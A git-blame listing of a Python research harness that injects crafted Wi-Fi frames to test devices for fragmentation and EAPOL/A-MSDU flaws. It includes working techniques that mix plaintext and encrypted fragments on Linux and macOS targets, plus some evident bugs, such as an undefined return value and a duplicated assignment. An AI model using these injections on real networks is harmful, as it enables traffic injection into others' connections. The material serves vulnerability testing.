2020-02-27 07:07:19 -05:00
|
|
|
#!/usr/bin/env python3
|
2020-03-01 19:03:08 -05:00
|
|
|
from libwifi import *
|
2020-04-01 10:14:07 -04:00
|
|
|
import abc, sys, socket, struct, time, subprocess, atexit, select, copy
|
2020-02-27 07:07:19 -05:00
|
|
|
from wpaspy import Ctrl
|
2020-03-13 06:49:58 -04:00
|
|
|
from scapy.contrib.wpa_eapol import WPA_key
|
2020-02-27 07:07:19 -05:00
|
|
|
|
2020-04-01 11:14:29 -04:00
|
|
|
# Ath9k_htc dongle notes:
|
2020-03-01 19:03:08 -05:00
|
|
|
# - The ath9k_htc devices by default overwrite the injected sequence number.
|
2020-03-13 06:49:58 -04:00
|
|
|
# However, this number is not incremented when the MoreFragments flag is set,
|
2020-03-01 19:03:08 -05:00
|
|
|
# meaning we can inject fragmented frames (albeit with a different sequence
|
|
|
|
# number than then one we use for injection this this script).
|
2020-03-27 12:49:33 -04:00
|
|
|
# - The above trick does not work when we want to inject other frames between
|
|
|
|
# two fragmented frames (the chip will assign them difference sequence numbers).
|
|
|
|
# Even when the fragments use a unique QoS TID, sending frames between them
|
|
|
|
# will make the chip assign difference sequence numbers to both fragments.
|
2020-03-13 06:49:58 -04:00
|
|
|
# - Overwriting the sequence can be avoided by patching `ath_tgt_tx_seqno_normal`
|
2020-03-01 19:03:08 -05:00
|
|
|
# and commenting out the two lines that modify `i_seq`.
|
2020-03-13 06:49:58 -04:00
|
|
|
# - See also the comment in Station.inject_next_frags to avoid other bugs with
|
|
|
|
# ath9k_htc when injecting frames with the MF flag and while being in AP mode.
|
2020-04-01 11:14:29 -04:00
|
|
|
# - The at9k_htc dongle, and likely other Wi-Fi devices, will reorder frames with
|
|
|
|
# different QoS priorities. This means injected frames with differen priorities
|
|
|
|
# may get reordered by the driver/chip. We avoided this by modifying the ath9k_htc
|
|
|
|
# driver to send all frames using the transmission queue of priority zero,
|
|
|
|
# independent of the actual QoS priority value used in the frame.
|
2020-03-01 19:03:08 -05:00
|
|
|
|
2020-02-29 15:56:41 -05:00
|
|
|
#MAC_STA2 = "d0:7e:35:d9:80:91"
|
|
|
|
#MAC_STA2 = "20:16:b9:b2:73:7a"
|
|
|
|
MAC_STA2 = "80:5a:04:d4:54:c4"
|
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
# ----------------------------------- Utility Commands -----------------------------------
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-02-27 07:07:19 -05:00
|
|
|
def wpaspy_clear_messages(ctrl):
|
2020-03-07 21:10:26 -05:00
|
|
|
# Clear old replies and messages from the hostapd control interface. This is not
|
|
|
|
# perfect and there may be new unrelated messages after executing this code.
|
2020-02-27 07:07:19 -05:00
|
|
|
while ctrl.pending():
|
|
|
|
ctrl.recv()
|
|
|
|
|
|
|
|
def wpaspy_command(ctrl, cmd):
|
|
|
|
wpaspy_clear_messages(ctrl)
|
|
|
|
rval = ctrl.request(cmd)
|
|
|
|
if "UNKNOWN COMMAND" in rval:
|
|
|
|
log(ERROR, "wpa_supplicant did not recognize the command %s. Did you (re)compile wpa_supplicant?" % cmd.split()[0])
|
|
|
|
quit(1)
|
|
|
|
elif "FAIL" in rval:
|
2020-03-29 10:56:59 -04:00
|
|
|
log(ERROR, f"Failed to execute command {cmd}")
|
2020-02-27 07:07:19 -05:00
|
|
|
quit(1)
|
|
|
|
return rval
|
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
def argv_pop_argument(argument):
|
|
|
|
if not argument in sys.argv: return False
|
|
|
|
idx = sys.argv.index(argument)
|
|
|
|
del sys.argv[idx]
|
|
|
|
return True
|
|
|
|
|
2020-03-04 06:36:52 -05:00
|
|
|
class TestOptions():
|
|
|
|
def __init__(self):
|
2020-03-27 12:49:33 -04:00
|
|
|
# Workaround for ath9k_htc bugs
|
|
|
|
self.inject_workaround = False
|
|
|
|
|
2020-03-04 06:36:52 -05:00
|
|
|
self.interface = None
|
2020-03-24 08:52:31 -04:00
|
|
|
self.clientip = None
|
|
|
|
self.routerip = None
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
# ----------------------------------- Tests -----------------------------------
|
|
|
|
|
|
|
|
# XXX --- We should always first see how the DUT reactions to a normal packet.
|
|
|
|
# For example, Aruba only responded to DHCP after reconnecting, and
|
|
|
|
# ignored ICMP and ARP packets.
|
|
|
|
REQ_ARP, REQ_ICMP, REQ_DHCP = range(3)
|
|
|
|
|
|
|
|
def generate_request(sta, ptype):
|
|
|
|
header = sta.get_header()
|
|
|
|
if ptype == REQ_ARP:
|
|
|
|
# XXX --- Add extra checks on the ARP packet
|
|
|
|
check = lambda p: ARP in p and p.hwsrc == sta.peermac and p.psrc == sta.peerip
|
|
|
|
request = LLC()/SNAP()/ARP(op=1, hwsrc=sta.mac, psrc=sta.ip, hwdst=sta.peermac, pdst=sta.peerip)
|
|
|
|
|
|
|
|
elif ptype == REQ_ICMP:
|
|
|
|
label = b"test_ping_icmp"
|
|
|
|
check = lambda p: ICMP in p and label in raw(p)
|
|
|
|
request = LLC()/SNAP()/IP(src=sta.ip, dst=sta.peerip)/ICMP()/Raw(label)
|
|
|
|
|
|
|
|
elif ptype == REQ_DHCP:
|
|
|
|
xid = random.randint(0, 2**31)
|
|
|
|
check = lambda p: BOOTP in p and p[BOOTP].xid == xid
|
|
|
|
|
|
|
|
rawmac = bytes.fromhex(sta.mac.replace(':', ''))
|
|
|
|
request = LLC()/SNAP()/IP(src="0.0.0.0", dst="255.255.255.255")
|
|
|
|
request = request/UDP(sport=68, dport=67)/BOOTP(op=1, chaddr=rawmac, xid=xid)
|
|
|
|
request = request/DHCP(options=[("message-type", "discover"), "end"])
|
|
|
|
|
|
|
|
# We assume DHCP discover is sent towards the AP.
|
|
|
|
header.addr3 = "ff:ff:ff:ff:ff:ff"
|
|
|
|
|
|
|
|
return header, request, check
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-28 13:33:34 -04:00
|
|
|
class Frag():
|
2020-03-27 13:23:49 -04:00
|
|
|
# StartAuth: when starting the handshake
|
|
|
|
# BeforeAuth: right before last message of the handshake
|
|
|
|
# AfterAuth: right after last message of the handshake
|
|
|
|
# Connected: 1 second after handshake completed (allows peer to install keys)
|
|
|
|
StartAuth, BeforeAuth, AfterAuth, Connected = range(4)
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
# GetIp: request an IP before continueing (or use existing one)
|
|
|
|
# Rekey: force or wait for a PTK rekey
|
|
|
|
# Reconnect: force a reconnect
|
|
|
|
GetIp, Rekey, Reconnect = range(3)
|
|
|
|
|
2020-04-03 15:48:03 -04:00
|
|
|
def __init__(self, trigger, encrypted, frame=None, flags=None, inc_pn=1, delay=None):
|
2020-03-28 13:33:34 -04:00
|
|
|
self.trigger = trigger
|
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
if flags != None and not isinstance(flags, list):
|
|
|
|
self.flags = [flags]
|
|
|
|
else:
|
|
|
|
self.flags = flags if flags != None else []
|
|
|
|
|
|
|
|
self.encrypted = encrypted
|
2020-03-13 06:49:58 -04:00
|
|
|
self.inc_pn = inc_pn
|
2020-04-03 15:48:03 -04:00
|
|
|
self.delay = delay
|
2020-04-01 10:14:07 -04:00
|
|
|
self.frame = frame
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
def next_flag(self):
|
|
|
|
if len(self.flags) == 0:
|
|
|
|
return None
|
|
|
|
return self.flags[0]
|
|
|
|
|
|
|
|
def pop_flag(self):
|
|
|
|
if len(self.flags) == 0:
|
|
|
|
return None
|
|
|
|
return self.flags.pop(0)
|
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
class Test(metaclass=abc.ABCMeta):
|
|
|
|
"""
|
|
|
|
Base class to define tests. The default defined methods can be used,
|
|
|
|
but they can also be overriden if desired.
|
|
|
|
"""
|
2020-03-27 15:19:31 -04:00
|
|
|
|
2020-03-28 13:33:34 -04:00
|
|
|
def __init__(self, fragments=None):
|
|
|
|
self.fragments = fragments if fragments != None else []
|
2020-03-30 13:13:21 -04:00
|
|
|
self.generated = False
|
2020-03-13 06:49:58 -04:00
|
|
|
|
|
|
|
def next_trigger_is(self, trigger):
|
|
|
|
if len(self.fragments) == 0:
|
|
|
|
return False
|
2020-03-29 18:11:35 -04:00
|
|
|
return self.fragments[0].next_flag() == None and \
|
2020-03-27 15:19:31 -04:00
|
|
|
self.fragments[0].trigger == trigger
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
def next_flag(self):
|
2020-03-27 15:19:31 -04:00
|
|
|
if len(self.fragments) == 0:
|
2020-03-29 18:11:35 -04:00
|
|
|
return None
|
|
|
|
return self.fragments[0].next_flag()
|
|
|
|
|
|
|
|
def pop_flag(self):
|
|
|
|
if len(self.fragments) == 0:
|
|
|
|
return None
|
|
|
|
return self.fragments[0].pop_flag()
|
2020-03-27 15:19:31 -04:00
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
def next(self, station):
|
|
|
|
if not self.generated:
|
|
|
|
self.generate(station)
|
|
|
|
self.generated = True
|
|
|
|
|
|
|
|
frag = self.fragments[0]
|
|
|
|
del self.fragments[0]
|
|
|
|
return frag
|
|
|
|
|
|
|
|
@abc.abstractmethod
|
|
|
|
def generate(self, station):
|
|
|
|
pass
|
|
|
|
|
|
|
|
@abc.abstractmethod
|
|
|
|
def check(self, p):
|
2020-03-30 13:53:56 -04:00
|
|
|
return False
|
2020-03-30 13:13:21 -04:00
|
|
|
|
|
|
|
class PingTest(Test):
|
2020-04-01 10:14:07 -04:00
|
|
|
def __init__(self, ptype, fragments, bcast=False, separate_with=None):
|
2020-03-30 13:13:21 -04:00
|
|
|
super().__init__(fragments)
|
|
|
|
self.ptype = ptype
|
2020-04-01 10:14:07 -04:00
|
|
|
self.bcast = bcast
|
|
|
|
self.separate_with = separate_with
|
2020-03-30 13:13:21 -04:00
|
|
|
self.check_fn = None
|
|
|
|
|
|
|
|
def check(self, p):
|
|
|
|
if self.check_fn == None:
|
|
|
|
return False
|
|
|
|
return self.check_fn(p)
|
|
|
|
|
|
|
|
def generate(self, station):
|
2020-03-30 13:53:56 -04:00
|
|
|
log(STATUS, "Generating ping test", color="green")
|
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
# Generate the header and payload
|
|
|
|
header, request, self.check_fn = generate_request(station, self.ptype)
|
|
|
|
|
|
|
|
# Generate all the individual (fragmented) frames
|
|
|
|
frames = create_fragments(header, request, len(self.fragments))
|
|
|
|
|
|
|
|
# Assign frames to the existing fragment objects
|
|
|
|
for frag, frame in zip(self.fragments, frames):
|
2020-04-01 10:14:07 -04:00
|
|
|
if self.bcast:
|
2020-03-30 18:01:56 -04:00
|
|
|
frame.addr1 = "ff:ff:ff:ff:ff:ff"
|
2020-03-30 13:13:21 -04:00
|
|
|
frag.frame = frame
|
|
|
|
|
2020-04-01 10:14:07 -04:00
|
|
|
# Put the separator between each fragment if requested.
|
|
|
|
if self.separate_with != None:
|
|
|
|
for i in range(len(self.fragments) - 1, 0, -1):
|
|
|
|
prev_frag = self.fragments[i - 1]
|
|
|
|
|
|
|
|
sep_frag = Frag(prev_frag.trigger, prev_frag.encrypted)
|
|
|
|
sep_frag.frame = self.separate_with.copy()
|
|
|
|
station.set_header(sep_frag.frame)
|
|
|
|
|
|
|
|
self.fragments.insert(i, sep_frag)
|
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
class LinuxTest(Test):
|
|
|
|
def __init__(self, ptype):
|
|
|
|
super().__init__([
|
|
|
|
Frag(Frag.Connected, True),
|
|
|
|
Frag(Frag.Connected, True),
|
|
|
|
Frag(Frag.Connected, False)
|
|
|
|
])
|
|
|
|
self.ptype = ptype
|
2020-03-30 13:53:56 -04:00
|
|
|
self.check_fn = None
|
|
|
|
|
|
|
|
def check(self, p):
|
|
|
|
if self.check_fn == None:
|
|
|
|
return False
|
|
|
|
return self.check_fn(p)
|
2020-03-30 13:13:21 -04:00
|
|
|
|
|
|
|
def generate(self, station):
|
|
|
|
header, request, self.check_fn = generate_request(station, self.ptype)
|
|
|
|
frag1, frag2 = create_fragments(header, request, 2)
|
|
|
|
|
|
|
|
# Fragment 1: normal
|
|
|
|
self.fragments[0].frame = frag1
|
|
|
|
|
|
|
|
# Fragment 2: make Linux update latest used crypto Packet Number
|
|
|
|
frag2enc = frag2.copy()
|
|
|
|
frag2enc.SC ^= (1 << 4) | 1
|
|
|
|
self.fragments[1].frame = frag2enc
|
|
|
|
|
|
|
|
# Fragment 3: can now inject last fragment as plaintext
|
|
|
|
self.fragments[2].frame = frag2
|
|
|
|
|
|
|
|
return test
|
|
|
|
|
|
|
|
class MacOsTest(Test):
|
|
|
|
"""
|
|
|
|
See docs/macoxs-reversing.md for background on the attack.
|
|
|
|
"""
|
|
|
|
def __init__(self, ptype):
|
|
|
|
super().__init__([
|
|
|
|
Frag(Frag.BeforeAuth, False),
|
|
|
|
Frag(Frag.BeforeAuth, False)
|
|
|
|
])
|
|
|
|
self.ptype = ptype
|
2020-03-30 13:53:56 -04:00
|
|
|
self.check_fn = None
|
|
|
|
|
|
|
|
def check(self, p):
|
|
|
|
if self.check_fn == None:
|
|
|
|
return False
|
|
|
|
return self.check_fn(p)
|
2020-03-30 13:13:21 -04:00
|
|
|
|
|
|
|
def generate(self, station):
|
|
|
|
# First fragment is the start of an EAPOL frame
|
|
|
|
header = station.get_header(prior=2)
|
|
|
|
request = LLC()/SNAP()/EAPOL()/EAP()/Raw(b"A"*32)
|
|
|
|
frag1, _ = create_fragments(header, data=request, num_frags=2)
|
|
|
|
|
|
|
|
# Second fragment has same sequence number. Will be accepted
|
|
|
|
# before authenticated because previous fragment was EAPOL.
|
|
|
|
# By sending to broadcast, this fragment will not be reassembled
|
|
|
|
# though, meaning it will be treated as a full frame (and not EAPOL).
|
|
|
|
_, request, self.check_fn = generate_request(station, self.ptype)
|
2020-03-30 13:53:56 -04:00
|
|
|
frag2, = create_fragments(header, data=request, num_frags=1)
|
2020-03-30 18:01:56 -04:00
|
|
|
frag2.SC |= 1
|
2020-03-30 13:13:21 -04:00
|
|
|
frag2.addr1 = "ff:ff:ff:ff:ff:ff"
|
|
|
|
|
|
|
|
self.fragments[0].frame = frag1
|
|
|
|
self.fragments[1].frame = frag2
|
|
|
|
|
|
|
|
class EapolTest(Test):
|
|
|
|
# TODO:
|
|
|
|
# Test 1: plain unicast EAPOL fragment, plaintext broadcast frame => trivial frame injection
|
|
|
|
# Test 2: plain unicast EAPOL fragment, encrypted broadcast frame => just an extra test
|
|
|
|
# Test 3: plain unicast EAPOL fragment, encrypted unicast fragment => demonstrates mixing of plain/encrypted fragments
|
|
|
|
# Test 4: EAPOL and A-MSDU tests?
|
|
|
|
def __init__(self):
|
|
|
|
super().__init__([
|
|
|
|
Frag(Frag.BeforeAuth, False),
|
|
|
|
Frag(Frag.BeforeAuth, False)
|
|
|
|
])
|
|
|
|
|
|
|
|
def generate(self, station):
|
|
|
|
header = station.get_header(prior=2)
|
|
|
|
request = LLC()/SNAP()/EAPOL()/EAP()/Raw(b"A"*32)
|
|
|
|
frag1, frag2 = create_fragments(header, data=request, num_frags=2)
|
|
|
|
|
|
|
|
frag1copy, frag2copy = create_fragments(header, data=request, num_frags=2)
|
|
|
|
frag1copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
|
|
|
frag2copy.addr1 = "ff:ff:ff:ff:ff:ff"
|
|
|
|
|
|
|
|
self.fragments[0].frame = frag1
|
|
|
|
self.fragments[0].frame = frag2
|
|
|
|
|
2020-04-03 15:48:34 -04:00
|
|
|
#TODO: Move this function elsewhere?
|
|
|
|
def add_msdu_frag(src, dst, payload):
|
|
|
|
length = len(payload)
|
|
|
|
p = Ether(dst=dst, src=src, type=length)
|
|
|
|
|
|
|
|
payload = raw(payload)
|
|
|
|
|
|
|
|
total_length = len(p) + len(payload)
|
|
|
|
padding = ""
|
|
|
|
if total_length % 4 != 0:
|
|
|
|
padding = b"\x00" * (4 - (total_length % 4))
|
|
|
|
|
|
|
|
return p / payload / Raw(padding)
|
|
|
|
|
|
|
|
class EapolMsduTest(Test):
|
|
|
|
def __init__(self, ptype):
|
|
|
|
super().__init__([
|
|
|
|
Frag(Frag.Connected, False),
|
|
|
|
Frag(Frag.Connected, False, delay=2)
|
|
|
|
])
|
|
|
|
self.ptype = ptype
|
|
|
|
self.check_fn = None
|
|
|
|
|
|
|
|
def check(self, p):
|
|
|
|
if self.check_fn == None:
|
|
|
|
return False
|
|
|
|
return self.check_fn(p)
|
|
|
|
|
|
|
|
def generate(self, station):
|
|
|
|
log(STATUS, "Generating ping test", color="green")
|
|
|
|
|
|
|
|
# Generate the single frame
|
|
|
|
header, request, self.check_fn = generate_request(station, self.ptype)
|
|
|
|
# Set the A-MSDU frame type flag in the QoS header
|
|
|
|
header.Reserved = 1
|
|
|
|
# Testing
|
|
|
|
header.addr2 = "00:11:22:33:44:55"
|
|
|
|
|
|
|
|
# Masquerade A-MSDU frame as an EAPOL frame
|
|
|
|
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / add_msdu_frag(station.mac, station.peermac, request)
|
|
|
|
|
|
|
|
|
|
|
|
frames = create_fragments(header, request, 1)
|
|
|
|
|
|
|
|
auth = Dot11()/Dot11Auth(status=0, seqnum=1)
|
|
|
|
station.set_header(auth)
|
|
|
|
auth.addr2 = "00:11:22:33:44:55"
|
|
|
|
|
|
|
|
self.fragments[0].frame = auth
|
|
|
|
self.fragments[1].frame = frames[0]
|
|
|
|
|
|
|
|
|
2020-03-30 13:13:21 -04:00
|
|
|
# ----------------------------------- Abstract Station Class -----------------------------------
|
2020-03-27 15:19:31 -04:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
class Station():
|
|
|
|
def __init__(self, daemon, mac, ds_status):
|
|
|
|
self.daemon = daemon
|
|
|
|
self.options = daemon.options
|
2020-03-30 13:53:56 -04:00
|
|
|
self.test = daemon.options.test
|
2020-03-13 06:49:58 -04:00
|
|
|
self.txed_before_auth = False
|
|
|
|
self.txed_before_auth_done = False
|
2020-03-24 08:52:31 -04:00
|
|
|
self.obtained_ip = False
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
# Don't reset PN to have consistency over rekeys and reconnects
|
2020-03-27 12:58:11 -04:00
|
|
|
self.reset_keys()
|
2020-03-29 18:11:35 -04:00
|
|
|
self.pn = 0x100
|
2020-02-27 07:07:19 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
# Contains either the "to-DS" or "from-DS" flag.
|
|
|
|
self.FCfield = Dot11(FCfield=ds_status).FCfield
|
2020-03-27 14:22:12 -04:00
|
|
|
self.seqnum = 1
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
# MAC address and IP of the station that our script controls.
|
|
|
|
# Can be either an AP or client.
|
|
|
|
self.mac = mac
|
|
|
|
self.ip = None
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
# MAC address and IP of the peer station.
|
|
|
|
# Can be either an AP or client.
|
|
|
|
self.peermac = None
|
|
|
|
self.peerip = None
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
# To test frame forwarding to a 3rd party
|
|
|
|
self.othermac = None
|
|
|
|
self.otherip = None
|
|
|
|
|
2020-03-27 13:23:49 -04:00
|
|
|
self.time_connected = None
|
|
|
|
|
2020-03-27 12:58:11 -04:00
|
|
|
def reset_keys(self):
|
|
|
|
self.tk = None
|
|
|
|
self.gtk = None
|
|
|
|
self.gtk_idx = None
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def handle_mon(self, p):
|
2020-03-29 18:11:35 -04:00
|
|
|
pass
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def handle_eth(self, p):
|
|
|
|
repr(repr(p))
|
2020-03-24 08:52:31 -04:00
|
|
|
|
2020-03-28 13:33:34 -04:00
|
|
|
if self.test != None and self.test.check != None and self.test.check(p):
|
2020-03-25 09:53:38 -04:00
|
|
|
log(STATUS, "SUCCESSFULL INJECTION", color="green")
|
|
|
|
print(repr(p))
|
2020-03-30 13:53:56 -04:00
|
|
|
self.test = None
|
2020-03-07 21:10:26 -05:00
|
|
|
|
2020-03-27 12:58:11 -04:00
|
|
|
def send_mon(self, data, prior=1):
|
|
|
|
"""
|
|
|
|
Right after completing the handshake, it occurred several times that our
|
|
|
|
script was sending data *before* the key had been installed (or the port
|
|
|
|
authorized). This meant traffic was dropped. Use this function to manually
|
|
|
|
send frames over the monitor interface to ensure delivery and encryption.
|
|
|
|
"""
|
|
|
|
|
|
|
|
# If it contains an Ethernet header, strip it, and take addresses from that
|
|
|
|
p = self.get_header(prior=prior)
|
|
|
|
if Ether in data:
|
|
|
|
payload = data.payload
|
|
|
|
p.addr2 = data.src
|
|
|
|
|
|
|
|
# This tests if to-DS is set
|
|
|
|
if p.FCfield & 1:
|
|
|
|
p.addr3 = data.dst
|
|
|
|
else:
|
|
|
|
p.addr1 = data.dst
|
|
|
|
|
|
|
|
else:
|
|
|
|
payload = data
|
|
|
|
|
|
|
|
p = p/LLC()/SNAP()/payload
|
|
|
|
if self.tk: p = self.encrypt(p)
|
|
|
|
|
|
|
|
print("[Injecting]", repr(p))
|
|
|
|
daemon.inject_mon(p)
|
|
|
|
|
2020-03-10 09:43:46 -04:00
|
|
|
def set_header(self, p, forward=False, prior=None):
|
2020-03-07 21:10:26 -05:00
|
|
|
"""Set addresses to send frame to the peer or the 3rd party station."""
|
|
|
|
# Forward request only makes sense towards the DS/AP
|
|
|
|
assert (not forward) or ((p.FCfield & 1) == 0)
|
2020-03-10 09:43:46 -04:00
|
|
|
# Priority is only supported in data frames
|
|
|
|
assert (prior == None) or (p.type == 2)
|
2020-03-07 21:10:26 -05:00
|
|
|
|
|
|
|
p.FCfield |= self.FCfield
|
2020-03-25 09:53:38 -04:00
|
|
|
if prior != None:
|
2020-03-10 09:43:46 -04:00
|
|
|
p.subtype = 8
|
2020-04-01 10:14:07 -04:00
|
|
|
if not Dot11QoS in p:
|
|
|
|
p.add_payload(Dot11QoS(TID=prior))
|
|
|
|
else:
|
|
|
|
p[Dot11QoS].TID = prior
|
2020-03-10 09:43:46 -04:00
|
|
|
|
2020-03-07 21:10:26 -05:00
|
|
|
destmac = self.othermac if forward else self.peermac
|
|
|
|
p.addr1 = self.peermac
|
|
|
|
p.addr2 = self.mac
|
|
|
|
# Here p.FCfield & 1 tests if to-DS is set. Then this fields
|
|
|
|
# represents the final destination. Otherwise its the BSSID.
|
|
|
|
p.addr3 = destmac if p.FCfield & 1 else self.mac
|
2020-03-04 06:36:52 -05:00
|
|
|
|
2020-03-27 15:19:31 -04:00
|
|
|
def get_header(self, seqnum=None, prior=2, **kwargs):
|
2020-03-25 09:53:38 -04:00
|
|
|
"""
|
|
|
|
Generate a default common header. By default use priority of 1 so destination
|
|
|
|
will still accept lower Packet Numbers on other priorities.
|
|
|
|
"""
|
2020-03-27 14:22:12 -04:00
|
|
|
|
|
|
|
if seqnum == None:
|
|
|
|
seqnum = self.seqnum
|
|
|
|
self.seqnum += 1
|
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
header = Dot11(type="Data", SC=(seqnum << 4))
|
2020-03-25 09:53:38 -04:00
|
|
|
self.set_header(header, prior=prior, **kwargs)
|
2020-03-24 08:52:31 -04:00
|
|
|
return header
|
2020-02-29 15:56:41 -05:00
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
def encrypt(self, frame, inc_pn=1):
|
2020-03-28 13:33:34 -04:00
|
|
|
self.pn += inc_pn
|
2020-03-13 06:49:58 -04:00
|
|
|
key, keyid = (self.tk, 0) if int(frame.addr1[1], 16) & 1 == 0 else (self.gtk, self.gtk_idx)
|
|
|
|
encrypted = encrypt_ccmp(frame, key, self.pn, keyid)
|
|
|
|
return encrypted
|
|
|
|
|
2020-03-24 08:52:31 -04:00
|
|
|
def handle_connecting(self, peermac):
|
2020-03-25 09:53:38 -04:00
|
|
|
# If the address was already set, it should not be changing
|
|
|
|
assert self.peermac == None or self.peermac == peermac
|
|
|
|
self.peermac = peermac
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-27 12:58:11 -04:00
|
|
|
# Clear the keys on a new connection
|
|
|
|
self.reset_keys()
|
2020-03-29 18:11:35 -04:00
|
|
|
self.time_connected = None
|
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
def inject_next_frags(self, trigger):
|
2020-03-28 13:33:34 -04:00
|
|
|
frame = None
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-30 13:53:56 -04:00
|
|
|
while self.test != None and self.test.next_trigger_is(trigger):
|
2020-04-03 15:48:03 -04:00
|
|
|
frag = self.test.next(self)
|
|
|
|
if frag.delay != None:
|
|
|
|
log(STATUS, f"Sleeping {frag.delay} seconds")
|
|
|
|
time.sleep(frag.delay)
|
|
|
|
|
|
|
|
if frag.encrypted:
|
2020-03-13 06:49:58 -04:00
|
|
|
assert self.tk != None and self.gtk != None
|
2020-04-03 15:48:03 -04:00
|
|
|
frame = self.encrypt(frag.frame, inc_pn=frag.inc_pn)
|
2020-03-27 15:19:31 -04:00
|
|
|
log(STATUS, "Encrypted fragment with key " + self.tk.hex())
|
2020-03-13 06:49:58 -04:00
|
|
|
else:
|
2020-04-03 15:48:03 -04:00
|
|
|
frame = frag.frame
|
|
|
|
|
2020-03-28 13:33:34 -04:00
|
|
|
self.daemon.inject_mon(frame)
|
2020-04-03 15:48:03 -04:00
|
|
|
log(STATUS, "[Injected fragment] " + repr(frame))
|
2020-03-13 06:49:58 -04:00
|
|
|
|
|
|
|
# With ath9k_htc devices, there's a bug when injecting a frame with the
|
|
|
|
# More Fragments (MF) field *and* operating the interface in AP mode
|
|
|
|
# while the target is connected. For some reason, after injecting the
|
|
|
|
# frame, it halts the transmission of all other normal frames (this even
|
|
|
|
# includes beacons). Injecting a dummy packet like below avoid this,
|
|
|
|
# and assures packets keep being sent normally (when the last fragment
|
|
|
|
# had the MF flag set).
|
2020-03-27 12:49:33 -04:00
|
|
|
#
|
|
|
|
# Note: when the device is only operating in monitor mode, this does
|
|
|
|
# not seem to be a problem.
|
|
|
|
#
|
2020-03-28 13:33:34 -04:00
|
|
|
if self.options.inject_workaround and frame != None and frame.FCfield & 0x4 != 0:
|
2020-03-13 06:49:58 -04:00
|
|
|
self.daemon.inject_mon(Dot11(addr1="ff:ff:ff:ff:ff:ff"))
|
|
|
|
print("[Injected packet] Prevent ath9k_htc bug after fragment injection")
|
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def trigger_eapol_events(self, eapol):
|
2020-03-13 06:49:58 -04:00
|
|
|
key_type = eapol.key_info & 0x0008
|
|
|
|
key_ack = eapol.key_info & 0x0080
|
|
|
|
key_mic = eapol.key_info & 0x0100
|
|
|
|
key_secure = eapol.key_info & 0x0200
|
|
|
|
# Detect Msg3/4 assumig WPA2 is used --- XXX support WPA1 as well
|
|
|
|
is_msg3_or_4 = key_secure != 0
|
|
|
|
|
|
|
|
# Inject any fragments before authenticating
|
|
|
|
if not self.txed_before_auth:
|
2020-03-28 13:33:34 -04:00
|
|
|
log(STATUS, "Frag.StartAuth", color="green")
|
|
|
|
self.inject_next_frags(Frag.StartAuth)
|
2020-03-13 06:49:58 -04:00
|
|
|
self.txed_before_auth = True
|
2020-03-27 15:19:31 -04:00
|
|
|
self.txed_before_auth_done = False
|
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
# Inject any fragments when almost done authenticating
|
|
|
|
elif is_msg3_or_4 and not self.txed_before_auth_done:
|
2020-03-28 13:33:34 -04:00
|
|
|
log(STATUS, "Frag.BeforeAuth", color="green")
|
|
|
|
self.inject_next_frags(Frag.BeforeAuth)
|
2020-03-13 06:49:58 -04:00
|
|
|
self.txed_before_auth_done = True
|
2020-03-27 15:19:31 -04:00
|
|
|
self.txed_before_auth = False
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
self.time_connected = None
|
|
|
|
|
2020-03-25 09:53:38 -04:00
|
|
|
def handle_eapol_tx(self, eapol):
|
|
|
|
eapol = EAPOL(eapol)
|
2020-03-29 18:11:35 -04:00
|
|
|
self.trigger_eapol_events(eapol)
|
2020-03-25 09:53:38 -04:00
|
|
|
|
2020-03-13 06:49:58 -04:00
|
|
|
# - Send over monitor interface to assure order compared to injected fragments.
|
|
|
|
# - This is also important because the station might have already installed the
|
2020-03-27 12:58:11 -04:00
|
|
|
# key before this script can send the EAPOL frame over Ethernet (but we didn't
|
|
|
|
# yet request the key from this script).
|
2020-03-28 13:33:34 -04:00
|
|
|
# - Send with high priority, otherwise Frag.AfterAuth might be send before
|
2020-03-13 06:49:58 -04:00
|
|
|
# the EAPOL frame by the Wi-Fi chip.
|
2020-03-27 12:58:11 -04:00
|
|
|
self.send_mon(eapol)
|
2020-03-13 06:49:58 -04:00
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
def check_flags_and_inject(self, trigger):
|
2020-03-30 13:53:56 -04:00
|
|
|
if self.test == None:
|
|
|
|
return
|
|
|
|
|
2020-03-29 18:11:35 -04:00
|
|
|
flag = self.test.next_flag()
|
|
|
|
if flag == Frag.GetIp:
|
|
|
|
if self.obtained_ip:
|
|
|
|
self.test.pop_flag()
